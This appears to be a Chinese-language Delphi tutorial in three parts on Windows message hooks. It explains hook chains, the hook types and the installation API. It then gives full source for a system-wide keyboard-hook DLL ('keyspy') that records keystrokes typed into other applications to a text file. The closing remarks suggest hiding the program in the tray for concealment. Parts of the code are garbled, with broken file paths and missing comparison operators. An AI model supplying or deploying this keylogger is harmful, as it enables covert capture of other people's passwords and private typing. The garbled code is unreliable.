Delphi - 关于钩子函数HOOK ，一

钩子(Hook)，是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息，

而且所监视的窗口可以是其他进程所创建的。当消息到达后，在目标窗口处理函数之前处理它。钩子机制允

许应用程序截获处理window消息或特定事件。

钩子实际上是一个处理消息的程序段，通过系统调用，把它挂入系统。每当特定的消息发出，在没有到达目的

窗口前，钩子程序就先捕获该消息，亦即钩子函数先得到控制权。这时钩子函数即可以加工处理（改变）该消息，

也可以不作处理而继续传递该消息，还可以强制结束消息的传递。

运行机制

1、钩子链表和钩子子程：

每一个Hook都有一个与之相关联的指针列表，称之为钩子链表，由系统来维护。这个列表的指针指向指定的，

应用程序定义的，被Hook子程调用的回调函数，也就是该钩子的各个处理子程。当与指定的Hook类型关联的

消息发生时，系统就把这个消息传递到Hook子程。一些Hook子程可以只监视消息，或者修改消息，或者停止

消息的前进，避免这些消息传递到下一个Hook子程或者目的窗口。最近安装的钩子放在链的开始，而最早安

装的钩子放在最后，也就是后加入的先获得控制权。

Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。每当有一个钩子被卸载，Windows 便释放其

占用的内存，并更新整个Hook链表。如果程序安装了钩子，但是在尚未卸载钩子之前就结束了，那么系统会

自动为它做卸载钩子的操作。

钩子子程是一个应用程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数，只能定义为

普通的C函数。用以监视系统或某一特定类型的事件，这些事件可以是与某一特定线程关联的，也可以是系

统中所有线程的事件。

钩子子程必须按照以下的语法：

LRESULT CALLBACK HookProc

(

int nCode,

WPARAM wParam,

LPARAM lParam

);

HookProc是应用程序定义的名字。

nCode参数是Hook代码，Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型，每一种Hook都有自

己的Hook代码特征字符集。

wParam和lParam参数的值依赖于Hook代码，但是它们的典型值是包含了关于发送或者接收消息的信息。

2、钩子的安装与释放：

使用API函数SetWindowsHookEx()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总

是在Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时，系统就调用与这个Hook关联的Hook链的

开头的Hook子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件

到下一个Hook子程需要调用CallNextHookEx函数。

HHOOK SetWindowsHookEx(

　　　　　int idHook, // 钩子的类型，即它处理的消息类型

　　　　　HOOKPROC lpfn, // 钩子子程的地址指针。如果dwThreadId参数为0

// 或是一个由别的进程创建的线程的标识，

// lpfn必须指向DLL中的钩子子程。

// 除此以外，lpfn可以指向当前进程的一段钩子子程代码。

// 钩子函数的入口地址，当钩子钩到任何消息后便调用这个函数。

　　　　　HINSTANCE hMod, // 应用程序实例的句柄。标识包含lpfn所指的子程的

DLL。

// 如果dwThreadId 标识当前进程创建的一个线程，

// 而且子程代码位于当前进程，hMod必须为NULL。

// 可以很简单的设定其为本应用程序的实例句柄。

　　　　　DWORD dwThreadId // 与安装的钩子子程相关联的线程的标识符。

// 如果为0，钩子子程与所有的线程关联，即为全局钩子。

　　　　　 );

　　函数成功则返回钩子子程的句柄，失败返回NULL。

　　以上所说的钩子子程与线程相关联是指在一钩子链表中发给该线程的消息同时发送给钩子子程，且被钩子子程先处理。

在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后，如果想要该消息继续传递，那么它必须调用另外

一个SDK中的API函数CallNextHookEx来传递它，以执行钩子链表所指的下一个钩子子程。这个函数成功时返回钩子

链中下一个钩子过程的返回值，返回值的类型依赖于钩子的类型。这个函数的原型如下：

LRESULT CallNextHookEx

(

HHOOK hhk;

int nCode;

WPARAM wParam;

LPARAM lParam;

);

hhk为当前钩子的句柄，由SetWindowsHookEx()函数返回。

NCode为传给钩子过程的事件代码。

wParam和lParam 分别是传给钩子子程的wParam值，其具体含义与钩子类型有关。

钩子函数也可以通过直接返回TRUE来丢弃该消息，并阻止该消息的传递。否则的话，其他安装了钩子的应用程序将

不会接收到钩子的通知而且还有可能产生不正确的结果。

钩子在使用完之后需要用UnHookWindowsHookEx()卸载，否则会造成麻烦。释放钩子比较简单，UnHookWindowsHookEx()

只有一个参数。函数原型如下：

UnHookWindowsHookEx

(

HHOOK hhk;

);

函数成功返回TRUE，否则返回FALSE。

3、一些运行机制：

在Win16环境中，DLL的全局数据对每个载入它的进程来说都是相同的；而在Win32环境中，情况却发生了变化，

DLL函数中的代码所创建的任何对象（包括变量）都归调用它的线程或进程所有。当进程在载入DLL时，操作系统自

动把DLL地址映射到该进程的私有空间，也就是进程的虚拟地址空间，而且也复制该DLL的全局数据的一份拷贝到该

进程空间。也就是说每个进程所拥有的相同的DLL的全局数据，它们的名称相同，但其值却并不一定是相同的，

而且是互不干涉的。

因此，在Win32环境下要想在多个进程中共享数据，就必须进行必要的设置。在访问同一个Dll的各进程之间共享存

储器是通过存储器映射文件技术实现的。也可以把这些需要共享的数据分离出来，放置在一个独立的数据段里，

并把该段的属性设置为共享。必须给这些变量赋初值，否则编译器会把没有赋初始值的变量放在一个叫未被初

始化的数据段中。

#pragma data_seg预处理指令用于设置共享数据段。例如：

#pragma data_seg("SharedDataName")

HHOOK hHook=NULL;

#pragma data_seg()

在#pragma data_seg("SharedDataName")和#pragma data_seg()之间的所有变量将被访问该Dll的所有进程看到

和共享。再加上一条指令#pragma comment(linker,"/section:.SharedDataName,rws"),那么这个数据节中的数

据可以在所有DLL的实例之间共享。所有对这些数据的操作都针对同一个实例的，而不是在每个进程的地址空间中都有一份。

当进程隐式或显式调用一个动态库里的函数时，系统都要把这个动态库映射到这个进程的虚拟地址空间里(以下

简称"地址空间")。这使得DLL成为进程的一部分，以这个进程的身份执行，使用这个进程的堆栈。

4、系统钩子与线程钩子：

SetWindowsHookEx()函数的最后一个参数决定了此钩子是系统钩子还是线程钩子。

线程勾子用于监视指定线程的事件消息。线程勾子一般在当前线程或者当前线程派生的线程内。

系统勾子监视系统中的所有线程的事件消息。因为系统勾子会影响系统中所有的应用程序，所以勾子函数必须

放在独立的动态链接库(DLL) 中。系统自动将包含"钩子回调函数"的DLL映射到受钩子函数影响的所有进程的地

址空间中，即将这个DLL注入了那些进程。

几点说明：

（1）如果对于同一事件（如鼠标消息）既安装了线程勾子又安装了系统勾子，那么系统会自动先调用线程勾子，

然后调用系统勾子。

（2）对同一事件消息可安装多个勾子处理过程，这些勾子处理过程形成了勾子链。当前勾子处理结束后应把勾

子信息传递给下一个勾子函数。

（3）勾子特别是系统勾子会消耗消息处理时间，降低系统性能。只有在必要的时候才安装勾子，在使用完毕后要及时卸载。

钩子类型

每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机制。下面描述所有可以利用的Hook类型。

1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks

WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过

程之前调用WH_CALLWNDPROC Hook子程，并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。

WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构，再传递到Hook子程。

CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值，同样也包括了与这个消息关联的消息参数。

2、WH_CBT Hook

在以下事件之前，系统都会调用WH_CBT Hook子程，这些事件包括：

1. 激活，建立，销毁，最小化，最大化，移动，改变尺寸等窗口事件；

2. 完成系统指令；

3. 来自系统消息队列中的移动鼠标，键盘事件；

4. 设置输入焦点事件；

5. 同步系统消息队列事件。

Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。

3、WH_DEBUG Hook

在系统调用系统中与其他Hook关联的Hook子程之前，系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决

定是否允许系统调用与其他Hook关联的Hook子程。

4、WH_FOREGROUNDIDLE Hook

当应用程序的前台线程处于空闲状态时，可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的

前台线程大概要变成空闲状态时，系统就会调用WH_FOREGROUNDIDLE Hook子程。

5、WH_GETMESSAGE Hook

应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用

WH_GETMESSAGE Hook去监视鼠标和键盘输入，以及其他发送到消息队列中的消息。

6、WH_JOURNALPLAYBACK Hook

WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过使用

WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装，

正常的鼠标和键盘事件就是无效的。

WH_JOURNALPLAYBACK Hook是全局Hook，它不能象线程特定Hook一样使用。

WH_JOURNALPLAYBACK Hook返回超时值，这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长

时间（毫秒）。这就使Hook可以控制实时事件的回放。

WH_JOURNALPLAYBACK是system-wide local hooks，它們不會被注射到任何行程位址空間。

7、WH_JOURNALRECORD Hook

WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的，可以使用这个Hook记录连续的鼠标和键盘事件，

然后通过使用WH_JOURNALPLAYBACK Hook来回放。

WH_JOURNALRECORD Hook是全局Hook，它不能象线程特定Hook一样使用。

WH_JOURNALRECORD是system-wide local hooks，它們不會被注射到任何行程位址空間。

8、WH_KEYBOARD Hook

在应用程序中，WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息，这些消息通过

GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。

9、WH_KEYBOARD_LL Hook

WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。

10、WH_MOUSE Hook

WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入

到消息队列中的鼠标消息。

11、WH_MOUSE_LL Hook

WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。

12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks

WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单，滚动条，消息框，对话框消息并且发现

用户使用ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单，滚动条，

消息框的消息，以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。

WH_SYSMSGFILTER Hook监视所有应用程序消息。

WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息，这等价于在主消息循环中过滤消息。

通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数，

应用程序能够在模式循环期间使用相同的代码去过滤消息，如同在主消息循环里一样。

13、WH_SHELL Hook

外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层

窗口建立或者销毁时，系统调用WH_SHELL Hook子程。

WH_SHELL 共有５钟情況：

1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁；

2. 当Taskbar需要重画某个按钮；

3. 当系统需要显示关于Taskbar的一个程序的最小化形式；

4. 当目前的键盘布局状态改变；

5. 当使用者按Ctrl+Esc去执行Task Manager（或相同级别的程序）。

按照惯例，外壳应用程序都不接收WH_SHELL消息。所以，在应用程序能够接收WH_SHELL消息之前，

应用程序必须调用SystemParametersInfo function注册它自己。

Delphi - 关于钩子函数HOOK (2)

消息钩子函数入门篇

Windows系统是建立在事件驱动的机制上的，说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows系统中非常重要的系统接口，用它可以截获并处理送给其他应用程序的消息，

来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息，截获发往

目标窗口的消息并进行处理。这样，我们就可以在系统中安装自定义的钩子，监视系统中特定

事件的发生，完成特定的功能，比如截获键盘、鼠标的输入，屏幕取词，日志监视等等。可见，

利用钩子可以实现许多特殊而有用的功能。因此，对于高级编程人员来说，掌握钩子的编程方法是很有必要的。

钩子的类型

　　一． 按事件分类，有如下的几种常用类型

　　（1） 键盘钩子和低级键盘钩子可以监视各种键盘消息。

　　（2） 鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

　　（3） 外壳钩子可以监视各种Shell事件消息。比如启动和关闭应用程序。

　　（4） 日志钩子可以记录从系统消息队列中取出的各种事件消息。

　　（5） 窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

　　此外，还有一些特定事件的钩子提供给我们使用，不一一列举。

下面描述常用的Hook类型：

1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks

WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息

发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程，并且在窗口过程处理完消息之后调用

WH_CALLWNDPRO CRET Hook子程。WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构，再传

递到Hook子程。CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值，同样也包括了与

这个消息关联的消息参数。

2、WH_CBT Hook

在以下事件之前，系统都会调用WH_CBT Hook子程，这些事件包括：

1. 激活，建立，销毁，最小化，最大化，移动，改变尺寸等窗口事件；

2. 完成系统指令；

3. 来自系统消息队列中的移动鼠标，键盘事件；

4. 设置输入焦点事件；

5. 同步系统消息队列事件。

Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。

3、WH_DEBUG Hook

在系统调用系统中与其他Hook关联的Hook子程之前，系统会调用WH_DEBUG Hook子程。

你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程。

4、WH_FOREGROUNDIDLE Hook

当应用程序的前台线程处于空闲状态时，可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。

当应用程序的前台线程大概要变成空闲状态时，系统就会调用WH_FOREGROUNDIDLE Hook子程。

5、WH_GETMESSAGE Hook

应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。

你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入，以及其他发送到消息队列中的消息。

6、WH_JOURNALPLAYBACK Hook

WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过

使用WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装，

正常的鼠标和键盘事件就是无效的。WH_JOURNALPLAYBACK Hook是全局Hook，它不能象线程特定Hook一样使用。

WH_JOURNALPLAYBACK Hook返回超时值，这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长

时间（毫秒）。这就使Hook可以控制实时事件的回放。WH_JOURNALPLAYBACK是system-wide local hooks，

它們不會被注射到任何行程位址空間。（估计按键精灵是用这个hook做的）

7、WH_JOURNALRECORD Hook

WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的，可以使用这个Hook记录连续的鼠标和键盘事件，

然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD Hook是全局Hook，它不能象线程特定

Hook一样使用。WH_JOURNALRECORD是system-wide local hooks，它們不會被注射到任何行程位址空間。

8、WH_KEYBOARD Hook

在应用程序中，WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息，这些消息通过

GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。

9、WH_KEYBOARD_LL Hook

WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。

10、WH_MOUSE Hook

WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。

使用这个Hook监视输入到消息队列中的鼠标消息。

11、WH_MOUSE_LL Hook

WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。

12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks

WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单，滚动条，消息框，对话框消息并且发现用

户使用ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单，滚动条，消息框的消息，

以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。WH_SYSMSGFILTER Hook监视所有应用程序消息。

WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息，这等价于在主消息循环中过滤消息。

通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数，应用程序能够在模式

循环期间使用相同的代码去过滤消息，如同在主消息循环里一样。

13、WH_SHELL Hook

外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层窗口建立或者销毁时，

系统调用WH_SHELL Hook子程。

WH_SHELL 共有5种情況：

1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁；

2. 当Taskbar需要重画某个按钮；

3. 当系统需要显示关于Taskbar的一个程序的最小化形式；

4. 当目前的键盘布局状态改变；

5. 当使用者按Ctrl+Esc去执行Task Manager（或相同级别的程序）。

按照惯例，外壳应用程序都不接收WH_SHELL消息。所以，在应用程序能够接收WH_SHELL消息之前，

应用程序必须调用SystemParametersInfo function注册它自己。

以上是13种常用的hook类型！

　　二． 按使用范围分类，主要有线程钩子和系统钩子

　　（1） 线程钩子监视指定线程的事件消息。

　　（2） 系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有的应用程序，

所以钩子函数必须放在独立的动态链接库(DLL)

中。这是系统钩子和线程钩子很大的不同之处。

　　 几点需要说明的地方：

　　（1） 如果对于同一事件（如鼠标消息）既安装了线程钩子又安装了系统钩子，那么系统会自动先

调用线程钩子，然后调用系统钩子。

　　（2） 对同一事件消息可安装多个钩子处理过程，这些钩子处理过程形成了钩子链。当前钩子处理结束后应把钩子

信息传递给下一个钩子函数。而且最近安装的钩子放在链的开始，而最早安装的钩子放在最后，也就是后加入的先获得控制权。

　　（3） 钩子特别是系统钩子会消耗消息处理时间，降低系统性能。只有在必要的时候才安装钩子，在使用完毕后要及时卸载。

编写钩子程序

　　 编写钩子程序的步骤分为三步：定义钩子函数、安装钩子和卸载钩子。

　　1．定义钩子函数

　　钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后，系统会调用钩子函数进行处理。不

同事件的钩子函数的形式是各不相同的。下面以鼠标钩子函数举例说明钩子函数的原型：

LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)

参数wParam和 lParam包含所钩消息的信息，比如鼠标位置、状态，键盘按键等。nCode包含有关消息本身的信息，

比如是否从消息队列中移出。 我们先在钩子函数中实现自定义的功能，然后调用函数 CallNextHookEx.

把钩子信息传递给钩子链的下一个钩子函数。CallNextHookEx.的原型如下：

LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )

参数 hhk是钩子句柄。nCode、wParam和lParam 是钩子函数。

当然也可以通过直接返回TRUE来丢弃该消息，就阻止了该消息的传递。

2．安装钩子

　　在程序初始化的时候，调用函数SetWindowsHookEx安装钩子。其函数原型为：

HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )

参数idHook表示钩子类型，它是和钩子函数类型一一对应的。比如，WH_KEYBOARD表示安装的是键盘钩子，

WH_MOUSE表示是鼠标钩子等等。

　　Lpfn是钩子函数的地址。

　　HMod是钩子函数所在的实例的句柄。对于线程钩子，该参数为NULL；对于系统钩子，该参数为钩子函数所在的DLL句柄。

　　 dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子，该参数为NULL。

　　SetWindowsHookEx返回所安装的钩子句柄。

　　3．卸载钩子

　　 当不再使用钩子时，必须及时卸载。简单地调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)即可。

值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。线程钩子一般在当前线程或者当前线程派生的线程内，

而系统钩子必须放在独立的动态链接库中，实现起来要麻烦一些。

Delphi - 关于钩子函数HOOK (3)

系统挂钩捕捉键盘操作

在WINDOWS系统下，应用程序常常要截获其他程序的消息，并加以处理（例如跟踪键盘或鼠标的按键状况等）。

现在，我们假设在前台进行正常操作，在后台利用HOOK程序为系统安装一个键盘挂钩，当有按键操作时，

系统发给键盘挂钩对应的消息，而这些消息被HOOK程序截获，并加以相应的处理，这样就可以监视键盘的使用状况了。

　　一.实现方法

　　DELPHI提供了强大的可视化集成开发环境，它使得在Windows下的应用程序开发变得更加广泛，

因此我们将用DELPHI编写一个动态链接库，然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下：

　　* 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL

　　* 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE

　　二．实现步骤

　　1.创建动态链接库

　　* 选择FILE菜单中的NEW选项，选择DLL产生一个新的模板，保存为HK.DPR

　　library HK .

　　uses

　 SysUtils,

　　 Classes,

　　 hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义

　　 exports //DLL的输出函数

　　 EnableHotKeyHook,

　　 DisableHotKeyHook;

　　begin

　　 hNextHookProc :=0;

　　 Assign(f,'c:.txt');//将捕获的键值存入C盘的“code.txt”文件中

　　 Reset(f); //初始化“code.txt”文件

　　 procSaveExit := ExitProc; //DLL释放时解除挂钩

　　 ExitProc := @HotKeyHookExit;

　　end.

　　* 选择FILE菜单中的NEW选项，选择UNIT生成HKPROC.PAS

　　unit hkproc;

　　interface

　　uses

　　 Windows,Messages;

　　var

　　 f :file of char;

　　c:char;

　　i :integer;

　　j :integer;

　　 hNextHookProc : HHook;

　　 procSaveExit : Pointer;

　　function KeyboardHookHandler(iCode : Integer;

　　 wParam : WPARAM;

　　 lParam : LPARAM) : LRESULT; stdcall export;

　　function EnableHotKeyHook : BOOL export

　　function DisableHotKeyHook : BOOL; export

　　procedure HotKeyHookExit far

　　implementation

　　function KeyboardHookHandler(iCode : Integer;

　　 WParam : WPARAM;

　　 lParam : LPARAM) : LRESULT stdcall export;

　　const

　　 _KeyPressMask = $80000000

　　begin

　　 Result :=0;

　　 if iCode <0 then

　　 begin

　　 Result :=CallNextHookEx(hNextHookProc,iCode,

　　 wParam,lParam);

　　 Exit;

　　 end;

　　 if((lParam and _KeyPressMask)=0) then

　　 begin

　　 i:=getkeystate($10); //返回Shift键的状态

　　 j:=getkeystate($14); //返回Caps Lock键的状态

　　 if((j and 1)=1 )then //判断CapsLock是否按下

　　 begin

　　 //判断Shift 是否按下

　　 if ((i and _KeyPressMask)=_KeyPressMask) then

　　 begin

　　 if (wparam<65) then //判断是字母键还是数字键

　　 begin

　　 c:=chr(wparam-16);

　　 end

　　 else

　　 begin

　　 c:= chr(wparam+32);

　　 end;

　　 end

　　 else

　　 begin

　　 if (wparam<65) then

　　 begin

　　 c:=chr(wparam);

　　 end

　　 else

　　 begin

　　 c:=chr(wparam);

　　 end;

　　 end;

　　 end

　　 else

　　 begin

　　 if ((i and _KeyPressMask)=_KeyPressMask) then

　　 begin

　　 if (wparam<65) then

　　 begin

　　 c:=chr(wparam-16);

　　 end

　　 else

　　 begin

　　 c:= chr(wparam);

　　 end;

　　 end

　　 else

　　 begin

　　 if (wparam<65) then

　　 begin

　　 c:=chr(wparam);

　　 end

　　 else

　　 begin

　　 c:=chr(wparam+32);

　　 end;

　　 end;

　　 end;

　　 seek(f,FileSize(f));

　　 write(f,c); //将捕获的键码存入文件

　　 end;

　　end;

　　function EnableHotKeyHook:BOOL;export;

　　begin

　　Result:=False;

　　if hNextHookProc 0 then exit;

　　hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,

　　KeyboardHookHandler,Hinstance,0);

　　Result:=hNextHookProc 0

　　end;

　　function DisableHotKeyHook:BOOL; export;

　　begin

　　 if hNextHookPRoc 0 then

　　 begin

　　 UnhookWindowshookEx(hNextHookProc);

　　 hNextHookProc:=0;

　　 Messagebeep(0);

　　 Messagebeep(0);

　　 end;

　　 Result:=hNextHookPRoc=0;

　　end;

　　procedure HotKeyHookExit;

　　begin

　　 if hNextHookProc 0 then DisableHotKeyHook;

　　 close(f); //关闭文件并自动解除挂钩

　　 ExitProc:=procSaveExit;

　　end;

　　end.

　　* 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:”目录下。

　　 2．创建调用DLL的EXE程序HOOK.EXE

　　* 选择FILE菜单中的NEW选项，在New Items窗口中，选择Application选项。在窗体Form中，加入两个按键，

一个定义为挂钩，另一个定义为解脱，同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“c:.pas”，其相应的代码如下：

　　unit hk;

　　interface

　　uses

　　 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

　　 StdCtrls;

　　type

　　 TForm1 = class(TForm)

　　 Button1: TButton;

　　 Button2: TButton;

　　 Edit1: TEdit;

　　 procedure Button1Click(Sender: TObject);

　　 procedure Button2Click(Sender: TObject);

　　 private

　　 { Private declarations }

　　 public

　　 { Public declarations }

　　 end;

　　var

　　 Form1: TForm1;

　　implementation

　　{$R *.DFM}

　　function EnableHotKeyHook : BOOL;external 'HK.dll';

　　//声明HOOK . DLL中的两函数

　　function DisableHotKeyHook :BOOL;external 'HK.dll';

　　procedure TForm1.Button1Click(Sender: TObject);

　　begin

　　 if EnableHotKeyHook() then

　　 begin

　　 edit1.text :='设置挂钩'

　　 end

　　end;

　　procedure TForm1.Button2Click(Sender: TObject);

　　begin

　　 if DisableHotKeyHook() then

　　 begin

　　 edit1.Text :='挂钩解脱'

　　 end

　　end;

　　end.

　　* 选取Views菜单中的Project Source，将Project1存为“c:.dpr”，其代码如下：

program hook;

　　uses

　　 Forms,

　　 hk in 'hk.pas' {Form1};

　　{$R *.RES}

　　begin

　　 Application.Initialize;

　　 Application.CreateForm(TForm1, Form1);

　　 Application.Run;

　　end.

　　* 编译生成HOOK.EXE 程序并存入“c:”目录下。预先用“记事本”在“c:”目录下建立CODE.TXT文件，

运行HOOK程序并单击“挂钩”键，文本框提示“设置系统挂钩”，这时启动写字板等应用程序，所键入的字

母和数字将被记录在CODE.TXT文件中。

　　单击“解脱”键，文本框显示“挂钩解脱”，程序将停止对键盘的捕获。

　　点击示意图

　　三. 结束语

　　将上述例子稍加改动，就可为系统安装其他类型的挂钩，同时为了增强程序的隐蔽性，可利用DELPHI中丰富的控件，

将上述程序运行后，只需在屏幕右下部时钟处显示一个图标，就可以跟踪键盘等系统部件的工作状况了。

在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专业的监控程序必须具备两点，

一是实时；二是作为指示图标运行。实际应用中把利用Hook（即钩子）技术编写的应用程序添加到Windows的

任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上，根据在Delphi开发环境中的

具体实现分别对这两部分进行详细论述。

一、Hook(钩子)的实现：

Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗

口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用；

如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。

1．新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过程。代码如下：

library keyspy;

uses

windows, messages, hookproc in 'hookproc.pas';

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.

2.在Hookproc.pas中实现了钩子具体过程：

unit hookproc;

interface

uses

Windows, Messages, SysUtils, Controls, StdCtrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加载钩子

function endkeyhook:bool;export;//卸载钩子

procedure keyhookexit;far;

const

afilename='c:.txt';//将键盘输入动作写入文件中

var

debugfile:textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

begin

if icode<0 then

begin

result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

exit;

end;

assignfile(debugfile,afilename);

append(debugfile);

if getkeystate(vk_return)<0 then

begin

writeln(debugfile,');

write(debugfile,char(wparam));

end

else

write(debugfile,char(wparam));

closefile(debugfile);

result:=0;

end;

function endkeyhook:bool;export;

begin

if nexthookproc0 then begin

unhookwindowshookex(nexthookproc);

nexthookproc:=0;

messagebeep(0); end;

result:=hnexthookproc=0;

end;

procedure keyhookexit;far;

begin

if nexthookproc0 then endkeyhook;

exitproc:=procsaveexit; end;

end.

二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数

Shell_NotifyIcon，它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、

改动图标的标志。通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行,增加专业特色。

当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。

unit kb;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms,

Dialogs,

StdCtrls, Menus,shellapi;

const

icon_id=1;

MI_iconevent=wm_user+1;//定义一个用户消息

type

TForm1 = class(TForm)

PopupMenu1: TPopupMenu;

sethook1: TMenuItem;

endhook1: TMenuItem;

N1: TMenuItem;

About1: TMenuItem;

Close1: TMenuItem;

Gettext1: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure sethook1Click(Sender: TObject);

procedure endhook1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Close1Click(Sender: TObject);

private

{ Private declarations }

nid:tnotifyicondata;

normalicon:ticon;

public

{ Public declarations }

procedure icontray(var msg:tmessage);

message mi_iconevent;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function setkeyhook:bool;external 'keyspy.dll';

function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var msg:tmessage);

var

pt:tpoint;

begin

if msg.lparam=wm_lbuttondown then

sethook1click(self);

if msg.LParam=wm_rbuttondown then

begin

getcursorpos(pt);

setforegroundwindow(handle);

popupmenu1.popup(pt.x,pt.y);

end;

end;

